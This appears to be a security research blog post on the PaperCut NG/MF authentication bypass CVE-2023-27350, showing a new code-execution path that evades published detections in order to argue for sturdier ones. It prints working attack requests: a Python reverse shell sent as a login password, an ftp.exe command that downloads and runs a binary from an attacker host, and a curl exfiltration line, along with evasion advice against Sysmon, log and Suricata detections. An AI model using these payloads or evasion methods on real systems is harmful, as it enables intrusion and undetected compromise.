In mid-April, attackers began exploiting a vulnerability in PaperCut NG and MF. The exploited vulnerability would later be assigned CVE-2023-27350. Multiple security organizations have published exploit detections and indicators of compromise that assume attackers are executing code through PaperCut’s built-in scripting interface. However, VulnCheck researchers have found a proof-of-concept exploit that bypasses all published detections from Huntress, Horizon3.ai, Emerging Threats and Microsoft.
How did this happen? PaperCut NG and MF offer multiple paths to code execution. In this blog, we detail one such path and show how an attacker can avoid existing detections based on the defender's incorrect assumptions.
Before diving into the new code execution path, let’s look at the history of this vulnerability and survey the current exploits and detections that the security community has published.
PaperCut Software released an advisory for two vulnerabilities discovered by Trend Micro’s ZDI program. The initial advisory contained no CVE identifiers, but instead referred to the vulnerabilities by their ZDI names: ZDI-CAN-18987 and ZDI-CAN-19226.
Attacks in the wild began around this time.
PaperCut Software updated their advisory to indicate the vulnerabilities had been exploited in the wild.
CVE identifiers for the vulnerabilities were published. The authentication bypass was assigned CVE-2023-27350. The CVEs were published by ZDI, more than a month after they published their own advisories.
Huntress Labs published a blog detailing exploitation in the wild. CISA added CVE-2023-27350 to the CISA KEV list. Public exploits demonstrating the bypass appeared on GitHub.
Horizon3.ai published an exploit that demonstrated the bypass *and* executed arbitrary code.
Microsoft attributes attacks in mid-April to TA505.
At the time of writing, two public exploit variants use CVE-2023-27350 and execute arbitrary code on PaperCut NG and MF:
- Exploits that use the PaperCut print scripting interface to execute Windows commands (variations on the Horizon3.ai exploit).
- Exploits that use the print scripting interface to drop a malicious JAR (see this Metasploit pull request).
Horizon3.ai’s exploit uses the scripting interface to execute a single Windows command (
whoami) and sends the response back to the attacker via
java.lang.Runtime.getRuntime().exec('cmd.exe /C \"for /F \"usebackq delims=\" %A in (`whoami`) do curl http://10.0.40.83:8081/%A\"');
Perhaps the main reason they didn’t establish a reverse shell is because the scripting engine has a five second timeout (see decompiled code below). The attacker cannot maintain execution in the engine itself; they have to migrate to another process.
The previously mentioned Metasploit module is interesting. It doesn’t use
java.Runtime.getRuntime().exec(). Instead, it uses
java.net.URLClassLoader to load a remote Java class. The loaded class will eventually drop a Meterpreter JAR to disk and execute it.
The Java-focused exploitation is useful because PaperCut NG and MF support Linux, Mac, and Windows. A Windows-only only attack is restricted to… only Windows victims. This approach treats all victims equally.
Unfortunately, while it sounds good on paper, the Metasploit attack is not great. The Meterpreter jar is more or less unobfuscated and well-known to be immediately flagged by Windows Defender (among other AV). As soon as it touches the disk, it’ll be removed. On Linux, where there is less likely to be any AV/EDR, the payload screams that it's malicious. The phrase “metasploit.Payload” literally appears in
papercut 40671 /home/papercut/runtime/linux-x64/jre/bin/java -classpath /tmp/~spawn8498983783261235927.tmp.dir metasploit.Payload papercut 40689 \_ sh -c /bin/sh papercut 40690 \_ /bin/sh
Either way, both approaches trigger detections that’ve been shared among the security community, so let’s look at those more closely.
There have been three types of detections published so far.
- Detection via Sysmon (e.g. process creation analysis).
- Detection via log file analysis.
- Network signatures.
The Sysmon (or sysmon-esque) detections have been offered up by Huntress and Sophos. Both essentially boil down to this:
pc-app.execreates a child process called
powershell.exethen an attacker is exploiting PaperCut NG/MF.
This is not unreasonable logic. It’s just insufficient. Already we’ve seen a PaperCut exploit that doesn’t wouldn’t trigger this detection. Below is Meterpreter being started by
java.exe (note the “spawn” logic in the Java Meterpreter).
There are a whole slew of well-documented LOLBAS an attacker can abuse that would allow them to bypass these detections (as we’ll see later).
Log File Detections
Attacking PaperCut NG and MF via the print scripting interfaces leaves very distinctive entries in the server’s log file. Horizon3.ai noted variations of these entries as good indicators of compromise:
User "admin" logged into the administration interface. User "admin" updated the config key “print.script.sandboxed” User "admin" updated the config key “device.script.sandboxed” Admin user "admin" modified the print script on printer
The first entry is generated by CVE-2023-27350 directly. But it's also generated by a normal admin user logging in. Alone, it doesn’t indicate a compromise. The other three entries are all associated with attacking the scripting interface(s). An attacker that doesn’t abuse this functionality won’t generate this particular log entries.
Proof Point’s Open Emerging Threats contains signatures to detect the authentication bypass on the wire. The Suricata rule, modified for brevity, looks like so:
alert http any any -> $HOME_NET any ( \ msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; \ flow:established,to_server; \ http.method; content:"GET"; \ http.uri; content:"/app?service=page/SetupCompleted"; bsize:32; fast_pattern; \ reference:cve,2023-27350; \ classtype:attempted-admin; \ sid:2045130; rev:1;)
The rule focuses on detecting the exploitation of the vulnerability itself, and not the post-authentication activity, which is likely smart. That’s a very smart approach, and it would detect the previously mentioned exploits.
However, an attacker interested in doing so can trivially bypass this signature (by using
A New Path to Exploitation
As an attacker, if you know a variety of detections will flag your nefarious activities you'll obviously do whatever it takes to bypass those detections. In the case of PaperCut NG and MF, however, all the attacker really needs to do is find a new path to code execution. A new path will prevent the bad log entries from being written, and then the attacker can use whatever LOLBAS bypass the process creation detections.
There are a few places the attacker can pivot to, but let’s look at how an attacker can abuse the PaperCut NG “User/Group Sync” logic. This interface allows the administrative user to specify a “Custom Program” to source and authenticate users.
The user/auth programs can be any program on disk. That sounds great (for an attacker), but there are two caveats:
- The programs are initially executed without any attacker-controlled parameters.
- The auth program has to be interactive (e.g. the username and password are passed via
That is restrictive, but we’ve developed proof-of-concept exploits for both Linux and Windows:
- On Linux, set the auth program to
- On Windows, set the auth program to
To execute arbitrary code, the attacker just needs to provide a malicious username and password during a login attempt. For example, on Linux we provide a typical Python reverse shell in the
POST /app HTTP/1.1 Host: 10.9.49.222:9191 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/184.108.40.206 Safari/537.36 Edg/105.0.1343.33 Content-Length: 406 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=node01s8zloj765g3lirbwnppvw1qo279.node0 Origin: http://10.9.49.222:9191/ Referer: http://10.9.49.222:9191/app Accept-Encoding: gzip service=direct/1/Home/$Form&sp=S0&$Submit$0=Log+in&inputUsername=help&inputPassword=import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.49.194",1270));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")&Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection&$Hidden$0=true&$Hidden$1=X&$PropertySelection=en
ps output is still suspicious, but at least the name of a famously malicious pentesting framework appear:
papercut 17572 \_ /home/papercut/server/bin/linux-x64/./app-monitor /home/papercut/server/bin/linux-x64/./app-monitor.conf wrapper.syslog.ident=paperc papercut 17574 \_ ../runtime/linux-x64/jre/bin/pc-app -Djava.io.tmpdir=tmp -Dserver.home=. -Xverify:none -XX:+UseParallelOldGC -server -Dpc-reserv papercut 43227 \_ /usr/bin/python3 papercut 43232 \_ /bin/sh
On the Windows side of things, we’ve chosen
ftp.exe as our authentication program.
ftp.exe will execute arbitrary commands if they are prepended with a bang (
!). On the wire, that looks like this:
POST /app HTTP/1.1 Host: 10.9.49.195:9191 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/220.127.116.11 Safari/537.36 Edg/105.0.1343.33 Content-Length: 360 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=node012xt0dzcjh0dy5wz7uvh9m26f23.node0 Origin: http://10.9.49.195:9191/ Referer: http://10.9.49.195:9191/app Accept-Encoding: gzip Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection&$PropertySelection=en&inputUsername=dir&service=direct/1/Home/$Form&sp=S0&$Hidden$0=true&$Hidden$1=X&$Submit$0=Log+in&inputPassword=!curl -s -A Mozilla/5.0 -o C:\ProgramData\AXtJxdUwlfJl.exe http://10.9.49.194:8080/AXtJxdUwlfJl %26 C:\ProgramData\AXtJxdUwlfJl.exe 10.9.49.194 1270
The attack we’ve chosen is really quite basic. The
inputPassword contains logic to download a binary to
C:\ProgramData\ and execute it. In our case, this binary is a custom reverse shell (written in Go). The result is that
cmd.exe is never a direct child of
pc-app.exe. The process tree is:
The process tree, quite obviously, demonstrates poor tradecraft, but it’s sufficient to work around the published process-creation-based detections discussed earlier.
Importantly, because this approach doesn’t use a scripting interface, this attack also doesn’t generate the expected log entries. An attack using the “User/Group” custom program will generate logs that look more like this:
User/Group Sync settings changed by "admin" User "admin" logged into the administration interface.
The full result is that we can establish reverse shells on both Windows and Linux targets without triggering any detections.
An administrative user attacking PaperCut NG and MF can follow multiple paths to arbitrary code execution. Detections that focus on one particular code execution method, or that focus on a small subset of techniques used by one threat actor are doomed to be useless in the next round of attacks. Attackers learn from defenders' public detections, so it’s the defenders’ responsibility to produce robust detections that aren’t easily bypassed.